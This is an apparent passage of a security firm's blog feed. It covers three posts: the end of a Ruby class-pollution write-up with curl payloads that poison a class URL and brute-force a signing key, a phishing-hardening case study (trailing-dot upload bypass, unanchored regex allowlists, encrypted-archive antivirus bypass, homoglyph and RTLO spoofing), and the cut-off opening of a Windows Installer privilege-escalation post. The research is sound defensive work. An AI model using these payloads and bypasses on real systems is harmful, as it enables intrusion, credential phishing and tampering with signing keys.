      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;status: &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'HTTP request made'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;url: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;response_body: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_json&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;status: &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Failed to access URL variable'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_json&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Curl command to infect User class URL:&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# curl -X POST -H &quot;Content-Type: application/json&quot; -d '{&quot;class&quot;:{&quot;superclass&quot;:{&quot;url&quot;:&quot;http://example.com&quot;}}}' http://localhost:4567/merge&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/sign_with_subclass_key'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:json&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# This gadget signs data using the signing key stored in KeySigner class&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;signer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;KeySigner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;signed_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;KeySigner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;signing_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;data-to-sign&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;status: &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Data signed'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;signing_key: &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;KeySigner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;signing_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;signed_data: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signed_data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_json&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Curl command to infect KeySigner signing key (run in a loop until successful):&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# for i in {1..1000}; do curl -X POST -H &quot;Content-Type: application/json&quot; -d '{&quot;class&quot;:{&quot;superclass&quot;:{&quot;superclass&quot;:{&quot;subclasses&quot;:{&quot;sample&quot;:{&quot;signing_key&quot;:&quot;injected-signing-key&quot;}}}}}}' http://localhost:4567/merge; done&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# GET /check-infected-vars - Check if all variables have been infected&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/check-infected-vars'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:json&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;user_url: &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;signing_key: &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;KeySigner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;signing_key&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_json&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;run!&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the following example, we demonstrate two distinct types of class pollution:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;(A) Poisoning the Parent Class&lt;/strong&gt;: By recursively merging attributes, we can modify variables in the parent class. This modification impacts all instances of that class and can lead to unintended behavior across the application.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;(B) Poisoning Other Classes&lt;/strong&gt;: By brute-forcing subclass selection, we can eventually target and poison specific classes. This approach involves repeatedly attempting to poison random subclasses until the desired one is infected. While effective, this method can cause issues due to the randomness and potential for over-infection.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;detailed-explanation-of-both-exploits&quot;&gt;Detailed Explanation of Both Exploits&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;(A) Poisoning the Parent Class&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this exploit, we use a recursive merge operation to modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@url&lt;/code&gt; variable in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; class, which is the parent class of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt;. By injecting a malicious URL into this variable, we can manipulate subsequent HTTP requests made by the application.&lt;/p&gt;

&lt;p&gt;For example, using the following curl command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'{&quot;class&quot;:{&quot;superclass&quot;:{&quot;url&quot;:&quot;http://malicious.com&quot;}}}'&lt;/span&gt; http://localhost:4567/merge
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We successfully poison the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@url&lt;/code&gt; variable in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; class. When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/launch-curl-command&lt;/code&gt; endpoint is accessed, it now sends a request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://malicious.com&lt;/code&gt; instead of the original URL.&lt;/p&gt;

&lt;p&gt;This demonstrates how recursive merges can escape the object level and modify class-level variables, affecting the entire application.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/class-pollution-curl-gadget.png&quot; alt=&quot;Class Pollution Curl Gadget&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;(B) Poisoning Other Classes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This exploit leverages brute-force to infect specific subclasses. By repeatedly attempting to inject malicious data into random subclasses, we can eventually target and poison the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KeySigner&lt;/code&gt; class, which is responsible for signing data.&lt;/p&gt;

&lt;p&gt;For example, using the following looped curl command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1..1000&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'{&quot;class&quot;:{&quot;superclass&quot;:{&quot;superclass&quot;:{&quot;subclasses&quot;:{&quot;sample&quot;:{&quot;signing_key&quot;:&quot;injected-signing-key&quot;}}}}}}'&lt;/span&gt; http://localhost:4567/merge &lt;span class=&quot;nt&quot;&gt;--silent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We attempt to poison the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@signing_key&lt;/code&gt; variable in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KeySigner&lt;/code&gt;. After several attempts, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KeySigner&lt;/code&gt; class is infected, and the signing key is replaced with our injected key.&lt;/p&gt;

&lt;p&gt;This exploit highlights the dangers of recursive merges combined with brute-force subclass selection. While effective, this method can cause issues due to its aggressive nature, potentially leading to the over-infection of classes.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/class-pollution-sign-gadget.png&quot; alt=&quot;Class Pollution Sign Gadget&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;In the latter examples, we set up an HTTP server to demonstrate how the infected classes remain poisoned across multiple HTTP requests. The persistent nature of these infections shows that once a class is poisoned, the entire application context is compromised, and all future operations involving that class will behave unpredictably.&lt;/p&gt;

&lt;p&gt;The server setup also allowed us to easily check the state of these infected variables via specific endpoints. For example, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/check-infected-vars&lt;/code&gt; endpoint outputs the current values of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@url&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@signing_key&lt;/code&gt; variables, confirming whether the infection was successful.&lt;/p&gt;

&lt;p&gt;This approach clearly shows how class pollution in Ruby can have lasting and far-reaching consequences, making it a critical area to secure.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The research conducted here highlights the risks associated with &lt;strong&gt;class pollution&lt;/strong&gt; in Ruby, especially when recursive merges are involved. These vulnerabilities are particularly dangerous because they allow attackers to escape the confines of an object and manipulate the broader application context. By understanding these mechanisms and carefully considering how data merges are handled, it is possible to mitigate the risk of class pollution in Ruby applications.&lt;/p&gt;

&lt;h2 id=&quot;were-hiring&quot;&gt;We’re hiring!&lt;/h2&gt;

&lt;p&gt;We are a small highly focused team. We love what we do and we routinely take on difficult engineering challenges to help our customers build with security. If you’ve enjoyed this research, consider applying via &lt;a href=&quot;https://www.careers-page.com/doyensec-llc&quot;&gt;our careers portal&lt;/a&gt; to spend up to 11 weeks/year on research projects like this one!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Applying Security Engineering to Make Phishing Harder - A Case Study</title>
   <link href="https://blog.doyensec.com/2024/09/19/phishing-case-study.html"/>
   <updated>2024-09-19T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/09/19/phishing-case-study</id>
   <content type="html">&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;Recently Doyensec was hired by a client offering a “Communication Platform as a Service”. This platform allows their clients to craft a customer service experience and to communicate with their own customers via a plethora of channels: email, web chats, social media and more.&lt;/p&gt;

&lt;p&gt;While undoubtedly valuable, such a service introduces a unique threat model. Our client’s users work with a vast amount of incoming correspondence from outside (often anonymous) users, on a daily basis. This makes them particularly vulnerable to phishing and other social engineering attacks.&lt;/p&gt;

&lt;p&gt;While such threats cannot be fully eliminated, it is possible to minimize the possibilities for exploitation. Recognizing this, Doyensec was hired to performed a security review, specifically focused on social engineering attacks and phishing in particular. The engagement, performed earlier this year, has proven to be extremely valuable for both parties. Most importantly, our client used to the results to greatly increase their platform’s resilience against social engineering attacks. Additionally, Doyensec engineers had a great opportunity to unleash their creativity on bugs that are often overlooked, or at least heavily undervalued (looking at you, CVSS score!), during standard security audits as well as the opportunity to look at defending the application from a blue-team perspective.&lt;/p&gt;

&lt;p&gt;The following case study will discuss some of the vulnerabilities that were addressed as part of this audit. Hopefully, this post will be useful for developers to understand what kind of vulnerabilities can be lurking in their platforms too. It also helps to demonstrate how valuable such focused engagements can be as an addition to standard web engagements.&lt;/p&gt;

&lt;h1 id=&quot;attachments-handling&quot;&gt;Attachments Handling&lt;/h1&gt;

&lt;p&gt;For any customer support organization, file attachment management is a crucial feature. On one hand, it is crucial for users to be able to share file samples, screenshots, etc. with their interlocutors. On the other hand, sharing files is always a hotbed for exploiting all manner of security bugs, especially when accepting files from untrusted parties. Therefore, hardening this part of the application will always require careful considerations as to how to ensure confidentiality and integrity without sacrificing usability.&lt;/p&gt;

&lt;h2 id=&quot;file-extension-restriction-bypass-via-trailing-period&quot;&gt;File Extension Restriction Bypass via Trailing Period&lt;/h2&gt;

&lt;p&gt;The tested platform employs a robust system designed to validate allowed file extensions and content types for file uploads, featuring a global ban list for inherently dangerous file types, such as executables (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.exe&lt;/code&gt;). These measures are intended to prevent the uploading and distribution of potentially malicious files. However, by exploiting some browsers’ quirks, a vulnerability was discovered that allowed users to bypass these restrictions simply by appending a trailing period (“dangling dot”) to the file extension.&lt;/p&gt;

&lt;p&gt;It was possible to bypass this file extension restriction by crafting an upload request with a prohibited extension, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.exe.&lt;/code&gt;. This resulted in the system accepting the file, since it ostensibly met the criteria for allowed uploads - which included an empty extension. However, Firefox and Chromium-based browsers remove the dangling dot (interestingly, Safari retains it). As a result, the file was saved with an original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.exe&lt;/code&gt; extension on the victim’s filesystem:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/dangling_dot.png&quot; alt=&quot;Dangling Dot Download Result&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The recommendation is simple here. Trailing dots should be removed from the filenames. It rarely has any use in real-world scenarios, therefore the usability tradeoff is minimal.&lt;/p&gt;

&lt;h2 id=&quot;circumvention-of-content-origin-restrictions-via-subdomain-crafting&quot;&gt;Circumvention of Content Origin Restrictions via Subdomain Crafting&lt;/h2&gt;

&lt;p&gt;Platform chats have been created with a restriction, which allows link attachments from our client’s subdomains only. This security control is designed to restrict uploads and references to images and attachments to a predefined set of origins, preventing the use of external sources that could be employed in phishing attacks. The intended validation process relies on an allowlist of domains.&lt;/p&gt;

&lt;p&gt;However, when validating (sub)domains using regular expressions, it’s easy to forget the intricacies of this syntax, which can lead to hard-to-spot bypasses.&lt;/p&gt;

&lt;p&gt;Doyensec observed that subdomains were matched using an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;allowlist&lt;/code&gt; of regular expressions similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/acme-attachments-1.com/&lt;/code&gt;. Such a regular expression does not enforce the beginning and the end of the string and will therefore accept any domains that contain the desired subdomain. An attacker could create a subdomain similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acme-attachments-1.com.doyensec.com&lt;/code&gt;, which would be accepted despite this security mechanism.&lt;/p&gt;

&lt;p&gt;Another common (although not exploitable in this case) mistake is forgetting that the dot (.) character is treated as a wildcard by regular expressions. When one forgets to escape a dot in a domain regex, an attacker can register a domain which will bypass such a restriction. For instance, a regular expression similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;downloads.acmecdn.com&lt;/code&gt; would accept an attacker-controlled domain like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;downloadsAacmecdn.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It is worth noting that as innocuous as this vulnerability seems to be, it actually has great potential for creating successful phishing attacks. When a victim receives an attachment in a trusted platform, they’re far more likely to follow the link. Also, a login page would not be surprising for a victim, further increasing the likelihood of them giving away their credentials.&lt;/p&gt;

&lt;h2 id=&quot;antivirus-scan-bypass&quot;&gt;Antivirus Scan Bypass&lt;/h2&gt;

&lt;p&gt;The platform appropriately implements antivirus scanning on all incoming files. However, an attacker could obfuscate the true content of the payload by creating an encrypted archive: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ zip -e test_encrypted.zip eicar.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There is no simple solution to solve this issue. Banning encrypted archives altogether is a usability trade-off that might be unacceptable in some cases. Doyensec recommended clearly warning users against opening encrypted files at the very least. It might be also useful to allow the clients to choose which side of this trade-off is acceptable for them by creating a proper configuration switch.&lt;/p&gt;

&lt;h1 id=&quot;html-input-handling&quot;&gt;HTML Input Handling&lt;/h1&gt;

&lt;p&gt;When it comes to exchanging messages, it can be very useful to add formatting and give users more ways of expressing themselves. On the other hand, when messages are coming from untrusted sources, such a feature can enable attackers to craft sophisticated attacks that involve UI redressing, e.g., emulating UI elements within their messages.&lt;/p&gt;

&lt;p&gt;Our client has found a great way to balance usability and security. While trusted users have a rich choice of input formatting options, untrusted users from outside the platform can only share basic plain-text messages. It also worth noting that even trusted users can’t inject arbitrary HTML to their messages, given that HTML tags are properly parsed and encoded. There are however specific tags that are allowed and, in some cases, converted into more elaborate elements (e.g., link tags get converted into buttons).&lt;/p&gt;

&lt;p&gt;Doyensec found this solution well-architected at the design level. However, due to an oversight in the implementation, the public messaging API also accepted a “hidden” (not used by the frontend) parameter which allowed some HTML elements. Doyensec was able to exploit the conversion of links into buttons to demonstrate the potential for UI elements to be spoofed using this vulnerability.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/phishing_casestudy_htmlinject1.png&quot; alt=&quot;HTML Injection Body Parameter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The issue was resolved by completely disabling this parameter in the public API, only allowing authenticated users to format their messages.&lt;/p&gt;

&lt;h1 id=&quot;links-presentation-bugs&quot;&gt;Links Presentation Bugs&lt;/h1&gt;

&lt;p&gt;Data presentation bugs are a threat that is especially overlooked. Despite their potential to manipulate or distort critical information, data presentation bugs are frequently underestimated in security assessments and overlooked in the prioritization of remediation efforts. However, their exploitation can lead to serious consequences including phishing.&lt;/p&gt;

&lt;h2 id=&quot;misleading-unicode-domain-rendering&quot;&gt;Misleading Unicode Domain Rendering&lt;/h2&gt;

&lt;p&gt;To understand this issue, it is important to understand two different terms. First, &lt;a href=&quot;https://en.wikipedia.org/wiki/Punycode&quot;&gt;Punycode&lt;/a&gt; which is a character encoding scheme used to represent Unicode characters in domain names. It enables browsers and other web clients to handle Unicode in domain names. Secondly, we have homoglyphs, which are characters that look very similar to each other, but have different codes. While being visually indistinguishable, consider that the characters ‘a’ (code: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x61&lt;/code&gt;) and ‘а’ (code: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x430&lt;/code&gt;) are actually two different characters leading to two different domains when used in a URL.&lt;/p&gt;

&lt;p&gt;One of the most prominent examples of this threat was created by the researcher &lt;a href=&quot;https://www.xudongz.com/blog/2017/idn-phishing/&quot;&gt;Xudong Zheng&lt;/a&gt;. This researcher created a link that looks deceivingly similar to the widely trusted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.apple.com&lt;/code&gt; domain. However, the link &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://www.аррӏе.com&lt;/code&gt; actually resolves to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.xn--80ak6aa92e.com&lt;/code&gt;, after unrolling the Punycode string. Visiting the link reveals that it is not controlled by Apple, despite its convincing appearance:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/punycode_screen.png&quot; alt=&quot;Example Punycode Domain Screenshot&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;To protect users from these types of issues, we recommended rendering Unicode domains in Punycode format. This way users are not deceived in regards to where the given link leads.&lt;/p&gt;

&lt;h2 id=&quot;uri-and-filename-spoofing-via-rtlo-injection&quot;&gt;URI and Filename Spoofing via RTLO Injection&lt;/h2&gt;

&lt;p&gt;Using the Right-To-Left Override (RTLO) character is another technique for manipulating the way links are displayed. The RTLO character changes the order in which consecutive characters are rendered. When it comes to filenames and URLs, their structures are fixed and the character order matters. Therefore, flipping the character order is an effective way of obscuring the true target of the link, or the extension of a file.&lt;/p&gt;

&lt;p&gt;Sound complicated? An example will clear it up. Consider the link to an attacker-controlled domain: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://gepj.net/selif#/moc.rugmi&lt;/code&gt; It looks suspicious, however when prepended with the RTLO Unicode character (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[U+202E]https://gepj.net/selif#/moc.rugmi&lt;/code&gt;) it’ll render in the following way:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/rtlo_screen.png&quot; alt=&quot;Example RTLO Domain&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;A displayed file extensions can be manipulated in a similar manner:&lt;/p&gt;

&lt;p&gt;Consider a file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.[U+202E]fdp.zip&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/rtlo_filename_screen.png&quot; alt=&quot;Example RTLO Filename&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The proposed solution here is simple - stricter filtering. URLs should not be rendered as links when the character order is changed. Similarly, filenames containing character flow manipulators should be rejected.&lt;/p&gt;

&lt;h2 id=&quot;untrusted-links-navigation-confirmation&quot;&gt;Untrusted Links Navigation Confirmation&lt;/h2&gt;

&lt;p&gt;Even when the links are always properly displayed, there still remains a chance that an attacker can create a successful phishing campaign. After all, users could always get coerced into following a malicious link. Such a risk cannot be fully eliminated, but it can be mitigated with additional hardening. The examined platform implements navigation confirmation interstitials. This means, that anytime a user follows a link outside of the platform, an additional confirmation screen will appear. Such UI elements inform the user that they’re leaving a safe environment. This UX design greatly decreases the chances of a successful phishing attack.&lt;/p&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;p&gt;This project is a great example of a proactive engagement against specific threats. Given the particular threat model of this platform, such an engagement has proven extremely useful as an addition to regular security assessments and their bug bounty program. In particular, an engagement specifically focused on phishing and social engineering allowed us to craft a list of recommendations and hardening ideas that would have otherwise just been a side note in a regular security review.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Windows Installer, Exploiting Custom Actions</title>
   <link href="https://blog.doyensec.com/2024/07/18/custom-actions.html"/>
   <updated>2024-07-18T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/07/18/custom-actions</id>
   <content type="html">&lt;p&gt;Over a year ago, I published my &lt;a href=&quot;https://blog.doyensec.com/2023/03/21/windows-installer.html&quot;&gt;research around the Windows Installer Service&lt;/a&gt;. The article explained in detail how the MSI repair process executes in an elevated context, but the lack of impersonation could lead to Arbitrary File Delete and similar issues. The issue was acknowledged by Microsoft (as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-21800&quot;&gt;CVE-2023-21800&lt;/a&gt;), but it was never directly fixed. Instead, the introduction of a Redirection Guard mitigated all symlink attacks in the context of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec&lt;/code&gt; process. Back then, I wasn’t particularly happy with the solution, but I couldn’t find any bypass.&lt;/p&gt;

&lt;p&gt;The Redirection Guard turned out to work exactly as intended, so I spent some time attacking the Windows Installer Service from other angles. Some bugs were found (&lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-32016&quot;&gt;CVE-2023-32016&lt;/a&gt;), but I always felt that the way Microsoft handled the impersonation issue wasn’t exactly right. That unfixed behavior became very useful during another round of research.&lt;/p&gt;

&lt;p&gt;This article describes the &lt;strong&gt;unpatched vulnerability&lt;/strong&gt; affecting the latest Windows 11 versions. It illustrates how the issue can be leveraged to elevate a local user’s privileges. The bug submission was closed after half-a-year of processing, as non-reproducible. I will demonstrate how the issue can be reproduced by anyone else.&lt;/p&gt;

&lt;h3 id=&quot;custom-actions&quot;&gt;Custom Actions&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/msi/custom-actions&quot;&gt;Custom Actions&lt;/a&gt; in the Windows Installer world are user-defined actions that extend the functionality of the installation process. Custom Actions are necessary in scenarios where the built-in capabilities of Windows Installer are insufficient. For example, if an application requires specific registry keys to be set dynamically based on the user’s environment, a Custom Action can be used to achieve this. Another common use case is when an installer needs to perform complex tasks like custom validations or interactions with other software components that cannot be handled by standard MSI actions alone.&lt;/p&gt;

&lt;p&gt;Overall, Custom Actions can be implemented in different ways, such as:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Compiled to custom DLLs using the exposed C/C++ API&lt;/li&gt;
  &lt;li&gt;Inline VBScript or JScript snippets within the WSX file&lt;/li&gt;
  &lt;li&gt;Explicitly calling system commands within the WSX file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of the above methods are affected, but for simplicity, we will focus on the last type.&lt;/p&gt;

&lt;p&gt;Let’s take a look at an example WSX file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;poc.wsx&lt;/code&gt;) containing some Custom Actions:&lt;/p&gt;
&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
